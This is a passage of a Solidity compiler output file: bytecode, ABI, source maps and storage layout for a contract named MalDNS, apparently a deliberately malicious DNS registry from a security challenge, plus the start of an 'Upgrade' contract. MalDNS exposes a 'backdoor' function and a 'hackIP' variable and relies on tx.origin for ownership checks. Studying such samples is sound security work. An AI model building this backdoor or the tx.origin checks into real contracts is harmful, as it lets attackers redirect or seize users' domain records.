fffffff8111156108cd57600080fd5b6108d98482850161084d565b91505092915050565b600080604083850312156108f557600080fd5b600083013567ffffffffffffffff81111561090f57600080fd5b61091b8582860161084d565b925050602061092c85828601610823565b9150509250929050565b6000806040838503121561094957600080fd5b600083013567ffffffffffffffff81111561096357600080fd5b61096f8582860161084d565b925050602061098085828601610838565b9150509250929050565b60008060006060848603121561099f57600080fd5b600084013567ffffffffffffffff8111156109b957600080fd5b6109c58682870161084d565b93505060206109d686828701610838565b92505060406109e786828701610823565b9150509250925092565b6109fa81610d3c565b82525050565b610a0981610d4e565b82525050565b610a1881610d9a565b82525050565b610a2781610dbe565b82525050565b6000610a3882610d15565b610a428185610d31565b9350610a52818560208601610df1565b80840191505092915050565b6000610a6b600f83610d20565b91507f496e76616c696420646f6d61696e2e00000000000000000000000000000000006000830152602082019050919050565b6000610aab600e83610d20565b91507f496e76616c6964206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610aeb600b83610d20565b91507f496e76616c69642069702e0000000000000000000000000000000000000000006000830152602082019050919050565b6000610b2b601583610d20565b91507f446f6d61696e20616c72656164792074616b656e2e00000000000000000000006000830152602082019050919050565b6000610b6b600e83610d20565b91507f4e6f7420746865206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610baa8284610a2d565b915081905092915050565b6000604082019050610bca6000830185610a00565b610bd760208301846109f1565b9392505050565b6000602082019050610bf36000830184610a0f565b92915050565b6000602082019050610c0e6000830184610a1e565b92915050565b60006020820190508181036000830152610c2d81610a5e565b9050919050565b60006020820190508181036000830152610c4d81610a9e565b9050919050565b60006020820190508181036000830152610c6d81610ade565b9050919050565b60006020820190508181036000830152610c8d81610b1e565b9050919050565b60006020820190508181036000830152610cad81610b5e565b9050919050565b6000604051905081810181811067ffffffffffffffff82111715610cdb57610cda610e24565b5b8060405250919050565b600067ffffffffffffffff821115610d0057610cff610e24565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000610d4782610d7a565b9050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610da582610dac565b9050919050565b6000610db782610d7a565b9050919050565b6000610dc982610dd0565b9050919050565b6000610ddb82610d7a565b9050919050565b82818337600083830152505050565b60005b83811015610e0f578082015181840152602081019050610df4565b83811115610e1e576000848401525b50505050565bfe5b610e2f81610d3c565b8114610e3a57600080fd5b50565b610e4681610d4e565b8114610e5157600080fd5b5056fea2646970667358221220b23f98d283160e20da122f7f02a954df3b2637f635f4b30e955c8a118233fa3764736f6c63430007040033\",\"metadata\":\"{\\\"compiler\\\":{\\\"version\\\":\\\"0.7.4+commit.3f05b770\\\"},\\\"language\\\":\\\"Solidity\\\",\\\"output\\\":{\\\"abi\\\":[{\\\"inputs\\\":[{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"_ip\\\",\\\"type\\\":\\\"bytes4\\\"},{\\\"internalType\\\":\\\"contract IDNS\\\",\\\"name\\\":\\\"_dns\\\",\\\"type\\\":\\\"address\\\"},{\\\"internalType\\\":\\\"contract Upgrade\\\",\\\"name\\\":\\\"_info\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"constructor\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"_ip\\\",\\\"type\\\":\\\"bytes4\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_owner\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"backdoor\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"originalDNS\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"contract IDNS\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"_ip\\\",\\\"type\\\":\\\"bytes4\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_owner\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"register\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"}],\\\"name\\\":\\\"resolve\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bytes4\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_owner\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"transfer\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"_ip\\\",\\\"type\\\":\\\"bytes4\\\"}],\\\"name\\\":\\\"update\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"upgradeInfo\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"contract Upgrade\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"}],\\\"devdoc\\\":{\\\"kind\\\":\\\"dev\\\",\\\"methods\\\":{\\\"register(string,bytes4,address)\\\":{\\\"params\\\":{\\\"_domain\\\":\\\"New domain to be registered.\\\",\\\"_ip\\\":\\\"Ip the domain should point to.\\\",\\\"_owner\\\":\\\"Owner of the newly registered domain.\\\"}},\\\"resolve(string)\\\":{\\\"returns\\\":{\\\"_0\\\":\\\"The IP that _domain points to and the owner.\\\"}},\\\"transfer(string,address)\\\":{\\\"params\\\":{\\\"_domain\\\":\\\"Domain to be transferred.\\\",\\\"_owner\\\":\\\"New owner.\\\"}},\\\"update(string,bytes4)\\\":{\\\"params\\\":{\\\"_domain\\\":\\\"Domain to be updated.\\\",\\\"_ip\\\":\\\"New ip that the domain should point to.\\\"}}},\\\"version\\\":1},\\\"userdoc\\\":{\\\"kind\\\":\\\"user\\\",\\\"methods\\\":{\\\"register(string,bytes4,address)\\\":{\\\"notice\\\":\\\"Registers a new domain. Domain must be currently unused.\\\"},\\\"transfer(string,address)\\\":{\\\"notice\\\":\\\"Transfers ownership of the given domain. `tx.origin` must be the current owner of that domain.\\\"},\\\"update(string,bytes4)\\\":{\\\"notice\\\":\\\"Updates the ip that a domain points to. `tx.origin` must be the current owner of that domain.\\\"}},\\\"version\\\":1}},\\\"settings\\\":{\\\"compilationTarget\\\":{\\\"src/MalDNS.sol\\\":\\\"MalDNS\\\"},\\\"evmVersion\\\":\\\"istanbul\\\",\\\"libraries\\\":{},\\\"metadata\\\":{\\\"bytecodeHash\\\":\\\"ipfs\\\"},\\\"optimizer\\\":{\\\"enabled\\\":false,\\\"runs\\\":200},\\\"remappings\\\":[\\\":/=/\\\",\\\":ds-test/=lib/ds-test/src/\\\",\\\":ds-test=lib/ds-test/src/index.sol\\\"]},\\\"sources\\\":{\\\"src/IDNS.sol\\\":{\\\"keccak256\\\":\\\"0x9285f06c81c75d169c4fe7d0b24b2b50894f09d951c4e8f6134af923ed3e9c2f\\\",\\\"license\\\":\\\"GPL-v3\\\",\\\"urls\\\":[\\\"bzz-raw://38476e14838c65196ef345eade7ba706307b720c6ecd32ed8d42006023d4ef3e\\\",\\\"dweb:/ipfs/QmUxCKcvXtTMwVpJfu9QpPMpfMk88V2Uafmmg2bw3NRgrn\\\"]},\\\"src/MalDNS.sol\\\":{\\\"keccak256\\\":\\\"0x3bea24f6589ebb2120be090924605d1512e2ea57e0de781ecadf2f2f3ed4eedf\\\",\\\"license\\\":\\\"GPL-v3\\\",\\\"urls\\\":[\\\"bzz-raw://74c5c49a3125c31fc621ae85a4a4848ae945740b22cf9f7d7d9750c3b9ef5031\\\",\\\"dweb:/ipfs/QmZydphzztNXCwiCgtffTeyjumkERWpSjuSTchFZbEn6Mv\\\"]},\\\"src/Upgrade.sol\\\":{\\\"keccak256\\\":\\\"0xf1b948c97cba7390ad71d1b79badb2d500c55add416b4c63bdf33f3bd20495ea\\\",\\\"license\\\":\\\"GPL-v3\\\",\\\"urls\\\":[\\\"bzz-raw://1ac4a2d586937be95d2660afa026ec19cab71b0989be561b807b262be6e9d3ce\\\",\\\"dweb:/ipfs/QmfTjon8NyvCMKT4U2Z6nz44V6hnVaAHPrZ2uT1dwGK8bX\\\"]}},\\\"version\\\":1}\",\"srcmap\":\"141:1754:5:-:0;;;321:152;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;384:3;375:6;;:12;;;;;;;;;;;;;;;;;;410:4;391:24;;;;;;;;;;;;441:5;419:28;;;;;;;;;;;;459:10;451:18;;;;;;;;;;;;321:152;;;141:1754;;7:141:8;;94:6;88:13;79:22;;110:32;136:5;110:32;:::i;:::-;69:79;;;;:::o;154:169::-;;255:6;249:13;240:22;;271:46;311:5;271:46;:::i;:::-;230:93;;;;:::o;329:175::-;;433:6;427:13;418:22;;449:49;492:5;449:49;:::i;:::-;408:96;;;;:::o;510:646::-;;;;691:2;679:9;670:7;666:23;662:32;659:2;;;707:1;704;697:12;659:2;749:1;773:63;828:7;819:6;808:9;804:22;773:63;:::i;:::-;763:73;;721:125;884:2;909:77;978:7;969:6;958:9;954:22;909:77;:::i;:::-;899:87;;856:140;1034:2;1059:80;1131:7;1122:6;1111:9;1107:22;1059:80;:::i;:::-;1049:90;;1006:143;649:507;;;;;:::o;1162:96::-;;1228:24;1246:5;1228:24;:::i;:::-;1217:35;;1207:51;;;:::o;1264:149::-;;1340:66;1333:5;1329:78;1318:89;;1308:105;;;:::o;1419:109::-;;1498:24;1516:5;1498:24;:::i;:::-;1487:35;;1477:51;;;:::o;1534:112::-;;1616:24;1634:5;1616:24;:::i;:::-;1605:35;;1595:51;;;:::o;1652:126::-;;1729:42;1722:5;1718:54;1707:65;;1697:81;;;:::o;1784:120::-;1856:23;1873:5;1856:23;:::i;:::-;1849:5;1846:34;1836:2;;1894:1;1891;1884:12;1836:2;1826:78;:::o;1910:148::-;1996:37;2027:5;1996:37;:::i;:::-;1989:5;1986:48;1976:2;;2048:1;2045;2038:12;1976:2;1966:92;:::o;2064:154::-;2153:40;2187:5;2153:40;:::i;:::-;2146:5;2143:51;2133:2;;2208:1;2205;2198:12;2133:2;2123:95;:::o;141:1754:5:-;;;;;;;;;;;;;;;;;;;;;;\",\"srcmap-runtime\":\"141:1754:5:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;238:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1750:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;674:347;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;202:33;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;476:195;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1024:263;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1290:457;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;238:36;;;:::o;1750:143::-;1822:6;1830:7;1851:4;1856:7;1851:13;;;;;;:::i;:::-;;;;;;;;;;;;;:16;;;;;;;;;;;;1869:4;1874:7;1869:13;;;;;;:::i;:::-;;;;;;;;;;;;;:19;;;;;;;;;;;;1843:46;;;;1750:143;;;:::o;674:347::-;780:1;773:8;;:3;:8;;;;;765:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;833:1;815:7;809:21;:25;801:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;859:19;881:4;886:7;881:13;;;;;;:::i;:::-;;;;;;;;;;;;;859:35;;918:1;906:13;;:5;:8;;;;;;;;;;;;:13;;;;:42;;;;;946:1;923:25;;:5;:11;;;;;;;;;;;;:25;;;906:42;898:76;;;;;;;;;;;;:::i;:::-;;;;;;;;;990:3;979:5;:8;;;:14;;;;;;;;;;;;;;;;;;1011:6;997:5;:11;;;:20;;;;;;;;;;;;;;;;;;674:347;;;;:::o;202:33::-;;;:::o;476:195::-;580:5;566:19;;:10;:19;;;558:28;;;;;;590:19;612:4;617:7;612:13;;;;;;:::i;:::-;;;;;;;;;;;;;590:35;;640:3;629:5;:8;;;:14;;;;;;;;;;;;;;;;;;661:6;647:5;:11;;;:20;;;;;;;;;;;;;;;;;;476:195;;;;:::o;1024:263::-;1097:19;1119:4;1124:7;1119:13;;;;;;:::i;:::-;;;;;;;;;;;;;1097:35;;1164:9;1150:23;;:10;:23;;;:52;;;;;1192:10;1177:25;;:5;:11;;;;;;;;;;;;:25;;;1150:52;1137:91;;;;;;;;;;;;:::i;:::-;;;;;;;;;1248:1;1241:8;;:3;:8;;;;;1233:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;1280:3;1269:5;:8;;;:14;;;;;;;;;;;;;;;;;;1024:263;;;:::o;1290:457::-;1369:19;1391:4;1396:7;1391:13;;;;;;:::i;:::-;;;;;;;;;;;;;1369:35;;1603:9;1589:23;;:10;:23;;;:52;;;;;1631:10;1616:25;;:5;:11;;;;;;;;;;;;:25;;;1589:52;1576:91;;;;;;;;;;;;:::i;:::-;;;;;;;;;1698:1;1680:20;;:6;:20;;;;1672:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;1737:6;1723:5;:11;;;:20;;;;;;;;;;;;;;;;;;1290:457;;;:::o;7:139:8:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:137::-;;235:6;222:20;213:29;;251:32;277:5;251:32;:::i;:::-;203:86;;;;:::o;295:466::-;;400:3;393:4;385:6;381:17;377:27;367:2;;418:1;415;408:12;367:2;458:6;445:20;483:65;498:49;540:6;498:49;:::i;:::-;483:65;:::i;:::-;474:74;;571:6;564:5;557:21;610:4;602:6;598:17;646:4;639:5;635:16;684:3;675:6;670:3;666:16;663:25;660:2;;;701:1;698;691:12;660:2;714:41;748:6;743:3;738;714:41;:::i;:::-;357:404;;;;;;;:::o;767:373::-;;885:2;873:9;864:7;860:23;856:32;853:2;;;901:1;898;891:12;853:2;971:1;960:9;956:17;943:31;1001:18;993:6;990:30;987:2;;;1033:1;1030;1023:12;987:2;1060:63;1115:7;1106:6;1095:9;1091:22;1060:63;:::i;:::-;1050:73;;915:218;843:297;;;;:::o;1146:516::-;;;1281:2;1269:9;1260:7;1256:23;1252:32;1249:2;;;1297:1;1294;1287:12;1249:2;1367:1;1356:9;1352:17;1339:31;1397:18;1389:6;1386:30;1383:2;;;1429:1;1426;1419:12;1383:2;1456:63;1511:7;1502:6;1491:9;1487:22;1456:63;:::i;:::-;1446:73;;1311:218;1567:2;1592:53;1637:7;1628:6;1617:9;1613:22;1592:53;:::i;:::-;1582:63;;1539:116;1239:423;;;;;:::o;1668:514::-;;;1802:2;1790:9;1781:7;1777:23;1773:32;1770:2;;;1818:1;1815;1808:12;1770:2;1888:1;1877:9;1873:17;1860:31;1918:18;1910:6;1907:30;1904:2;;;1950:1;1947;1940:12;1904:2;1977:63;2032:7;2023:6;2012:9;2008:22;1977:63;:::i;:::-;1967:73;;1832:218;2088:2;2113:52;2157:7;2148:6;2137:9;2133:22;2113:52;:::i;:::-;2103:62;;2060:115;1760:422;;;;;:::o;2188:657::-;;;;2339:2;2327:9;2318:7;2314:23;2310:32;2307:2;;;2355:1;2352;2345:12;2307:2;2425:1;2414:9;2410:17;2397:31;2455:18;2447:6;2444:30;2441:2;;;2487:1;2484;2477:12;2441:2;2514:63;2569:7;2560:6;2549:9;2545:22;2514:63;:::i;:::-;2504:73;;2369:218;2625:2;2650:52;2694:7;2685:6;2674:9;2670:22;2650:52;:::i;:::-;2640:62;;2597:115;2750:2;2775:53;2820:7;2811:6;2800:9;2796:22;2775:53;:::i;:::-;2765:63;;2722:116;2297:548;;;;;:::o;2851:118::-;2938:24;2956:5;2938:24;:::i;:::-;2933:3;2926:37;2916:53;;:::o;2975:115::-;3060:23;3077:5;3060:23;:::i;:::-;3055:3;3048:36;3038:52;;:::o;3096:157::-;3196:50;3240:5;3196:50;:::i;:::-;3191:3;3184:63;3174:79;;:::o;3259:163::-;3362:53;3409:5;3362:53;:::i;:::-;3357:3;3350:66;3340:82;;:::o;3428:377::-;;3562:39;3595:5;3562:39;:::i;:::-;3617:89;3699:6;3694:3;3617:89;:::i;:::-;3610:96;;3715:52;3760:6;3755:3;3748:4;3741:5;3737:16;3715:52;:::i;:::-;3792:6;3787:3;3783:16;3776:23;;3538:267;;;;;:::o;3811:313::-;;3974:67;4038:2;4033:3;3974:67;:::i;:::-;3967:74;;4071:17;4067:1;4062:3;4058:11;4051:38;4115:2;4110:3;4106:12;4099:19;;3957:167;;;:::o;4130:312::-;;4293:67;4357:2;4352:3;4293:67;:::i;:::-;4286:74;;4390:16;4386:1;4381:3;4377:11;4370:37;4433:2;4428:3;4424:12;4417:19;;4276:166;;;:::o;4448:309::-;;4611:67;4675:2;4670:3;4611:67;:::i;:::-;4604:74;;4708:13;4704:1;4699:3;4695:11;4688:34;4748:2;4743:3;4739:12;4732:19;;4594:163;;;:::o;4763:319::-;;4926:67;4990:2;4985:3;4926:67;:::i;:::-;4919:74;;5023:23;5019:1;5014:3;5010:11;5003:44;5073:2;5068:3;5064:12;5057:19;;4909:173;;;:::o;5088:312::-;;5251:67;5315:2;5310:3;5251:67;:::i;:::-;5244:74;;5348:16;5344:1;5339:3;5335:11;5328:37;5391:2;5386:3;5382:12;5375:19;;5234:166;;;:::o;5406:275::-;;5560:95;5651:3;5642:6;5560:95;:::i;:::-;5553:102;;5672:3;5665:10;;5542:139;;;;:::o;5687:328::-;;5844:2;5833:9;5829:18;5821:26;;5857:69;5923:1;5912:9;5908:17;5899:6;5857:69;:::i;:::-;5936:72;6004:2;5993:9;5989:18;5980:6;5936:72;:::i;:::-;5811:204;;;;;:::o;6021:248::-;;6165:2;6154:9;6150:18;6142:26;;6178:84;6259:1;6248:9;6244:17;6235:6;6178:84;:::i;:::-;6132:137;;;;:::o;6275:254::-;;6422:2;6411:9;6407:18;6399:26;;6435:87;6519:1;6508:9;6504:17;6495:6;6435:87;:::i;:::-;6389:140;;;;:::o;6535:419::-;;6739:2;6728:9;6724:18;6716:26;;6788:9;6782:4;6778:20;6774:1;6763:9;6759:17;6752:47;6816:131;6942:4;6816:131;:::i;:::-;6808:139;;6706:248;;;:::o;6960:419::-;;7164:2;7153:9;7149:18;7141:26;;7213:9;7207:4;7203:20;7199:1;7188:9;7184:17;7177:47;7241:131;7367:4;7241:131;:::i;:::-;7233:139;;7131:248;;;:::o;7385:419::-;;7589:2;7578:9;7574:18;7566:26;;7638:9;7632:4;7628:20;7624:1;7613:9;7609:17;7602:47;7666:131;7792:4;7666:131;:::i;:::-;7658:139;;7556:248;;;:::o;7810:419::-;;8014:2;8003:9;7999:18;7991:26;;8063:9;8057:4;8053:20;8049:1;8038:9;8034:17;8027:47;8091:131;8217:4;8091:131;:::i;:::-;8083:139;;7981:248;;;:::o;8235:419::-;;8439:2;8428:9;8424:18;8416:26;;8488:9;8482:4;8478:20;8474:1;8463:9;8459:17;8452:47;8516:131;8642:4;8516:131;:::i;:::-;8508:139;;8406:248;;;:::o;8660:278::-;;8726:2;8720:9;8710:19;;8768:4;8760:6;8756:17;8875:6;8863:10;8860:22;8839:18;8827:10;8824:34;8821:62;8818:2;;;8886:13;;:::i;:::-;8818:2;8921:10;8917:2;8910:22;8700:238;;;;:::o;8944:327::-;;9096:18;9088:6;9085:30;9082:2;;;9118:13;;:::i;:::-;9082:2;9198:4;9194:9;9187:4;9179:6;9175:17;9171:33;9163:41;;9259:4;9253;9249:15;9241:23;;9011:260;;;:::o;9277:99::-;;9363:5;9357:12;9347:22;;9336:40;;;:::o;9382:169::-;;9500:6;9495:3;9488:19;9540:4;9535:3;9531:14;9516:29;;9478:73;;;;:::o;9557:148::-;;9696:3;9681:18;;9671:34;;;;:::o;9711:96::-;;9777:24;9795:5;9777:24;:::i;:::-;9766:35;;9756:51;;;:::o;9813:149::-;;9889:66;9882:5;9878:78;9867:89;;9857:105;;;:::o;9968:126::-;;10045:42;10038:5;10034:54;10023:65;;10013:81;;;:::o;10100:152::-;;10196:50;10240:5;10196:50;:::i;:::-;10183:63;;10173:79;;;:::o;10258:126::-;;10354:24;10372:5;10354:24;:::i;:::-;10341:37;;10331:53;;;:::o;10390:158::-;;10489:53;10536:5;10489:53;:::i;:::-;10476:66;;10466:82;;;:::o;10554:129::-;;10653:24;10671:5;10653:24;:::i;:::-;10640:37;;10630:53;;;:::o;10689:154::-;10773:6;10768:3;10763;10750:30;10835:1;10826:6;10821:3;10817:16;10810:27;10740:103;;;:::o;10849:307::-;10917:1;10927:113;10941:6;10938:1;10935:13;10927:113;;;11026:1;11021:3;11017:11;11011:18;11007:1;11002:3;10998:11;10991:39;10963:2;10960:1;10956:10;10951:15;;10927:113;;;11058:6;11055:1;11052:13;11049:2;;;11138:1;11129:6;11124:3;11120:16;11113:27;11049:2;10898:258;;;;:::o;11162:48::-;11195:9;11216:122;11289:24;11307:5;11289:24;:::i;:::-;11282:5;11279:35;11269:2;;11328:1;11325;11318:12;11269:2;11259:79;:::o;11344:120::-;11416:23;11433:5;11416:23;:::i;:::-;11409:5;11406:34;11396:2;;11454:1;11451;11444:12;11396:2;11386:78;:::o\",\"storage-layout\":\"{\\\"storage\\\":[{\\\"astId\\\":1473,\\\"contract\\\":\\\"src/MalDNS.sol:MalDNS\\\",\\\"label\\\":\\\"data\\\",\\\"offset\\\":0,\\\"slot\\\":\\\"0\\\",\\\"type\\\":\\\"t_mapping(t_string_memory_ptr,t_struct(Entry)1425_storage)\\\"},{\\\"astId\\\":1481,\\\"contract\\\":\\\"src/MalDNS.sol:MalDNS\\\",\\\"label\\\":\\\"hackIP\\\",\\\"offset\\\":0,\\\"slot\\\":\\\"1\\\",\\\"type\\\":\\\"t_bytes4\\\"}],\\\"types\\\":{\\\"t_address\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"address\\\",\\\"numberOfBytes\\\":\\\"20\\\"},\\\"t_bytes4\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"bytes4\\\",\\\"numberOfBytes\\\":\\\"4\\\"},\\\"t_mapping(t_string_memory_ptr,t_struct(Entry)1425_storage)\\\":{\\\"encoding\\\":\\\"mapping\\\",\\\"key\\\":\\\"t_string_memory_ptr\\\",\\\"label\\\":\\\"mapping(string => struct IDNS.Entry)\\\",\\\"numberOfBytes\\\":\\\"32\\\",\\\"value\\\":\\\"t_struct(Entry)1425_storage\\\"},\\\"t_string_memory_ptr\\\":{\\\"encoding\\\":\\\"bytes\\\",\\\"label\\\":\\\"string\\\",\\\"numberOfBytes\\\":\\\"32\\\"},\\\"t_struct(Entry)1425_storage\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"struct IDNS.Entry\\\",\\\"members\\\":[{\\\"astId\\\":1422,\\\"contract\\\":\\\"src/MalDNS.sol:MalDNS\\\",\\\"label\\\":\\\"ip\\\",\\\"offset\\\":0,\\\"slot\\\":\\\"0\\\",\\\"type\\\":\\\"t_bytes4\\\"},{\\\"astId\\\":1424,\\\"contract\\\":\\\"src/MalDNS.sol:MalDNS\\\",\\\"label\\\":\\\"owner\\\",\\\"offset\\\":4,\\\"slot\\\":\\\"0\\\",\\\"type\\\":\\\"t_address\\\"}],\\\"numberOfBytes\\\":\\\"32\\\"}}}\"},\"src/Upgrade.sol:Upgrade\":{\"abi\":\"[{\\\"inputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"constructor\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_user\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"activeUpgrade\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bool\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bool\\\"},{\\\"internalType\\\":\\\"contract IDNS\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"admin\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"cancelUpgrade\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"contract IDNS\\\",\\\"name\\\":\\\"_addr\\\",\\\"type\\\":\\\"address\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_user\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"isTrustedUpgrade\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bool\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bool\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"_when\\\",\\\"type\\\":\\\"uint256\\\"},{\\\"internalType\\\":\\\"contract IDNS\\\",\\\"name\\\":\\\"_to\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"newUpgrade\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"enum Upgrade.Opt\\\",\\\"name\\\":\\\"_opt\\\",\\\"type\\\":\\\"uint8\\\"}],\\\"name\\\":\\\"opt\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"upgradePlanned\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bool\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bool\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"uint256\\\"}],\\\"name\\\":\\\"upgrades\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"when\\\",\\\"type\\\":\\\"uint256\\\"},{\\\"internalType\\\":\\\"contract IDNS\\\",\\\"name\\\":\\\"to\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"}]\",\"bin\":\"60a060405234801561001057600080fd5b503373ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b8152505060805160601c610e0861006f6000398061019f528061036552806108bb5250610e086000f3fe608060405234801561001057600080fd5b50600436106100885760003560e01c806390b60de91161005b57806390b60de914610114578063b1d6d39d14610145578063d2ac7a5f14610161578063f851a4401461017f57610088565b8063275571571461008d57806355f29166146100a95780635efd5384146100b35780637386bbc5146100e3575b600080fd5b6100a760048036038101906100a291906109e8565b61019d565b005b6100b1610363565b005b6100cd60048036038101906100c8919061095a565b6104ae565b6040516100da9190610be1565b60405180910390f35b6100fd60048036038101906100f891906109bf565b6105f7565b60405161010b929190610cc5565b60405180910390f35b61012e60048036038101906101299190610931565b61064b565b60405161013c929190610bfc565b60405180910390f35b61015f600480360381019061015a9190610996565b6107a5565b005b610169610878565b6040516101769190610be1565b60405180910390f35b6101876108b9565b6040516101949190610bc6565b60405180910390f35b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146101f557600080fd5b6101fd610878565b1561023d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161023490610ca5565b60405180910390fd5b42821161027f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161027690610c65565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156102ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102e690610c45565b60405180910390fd5b6000806001816001815401808255809150500390600052602060002090600302019050828160010181905550818160020160006101000a81548173ffffffffffffff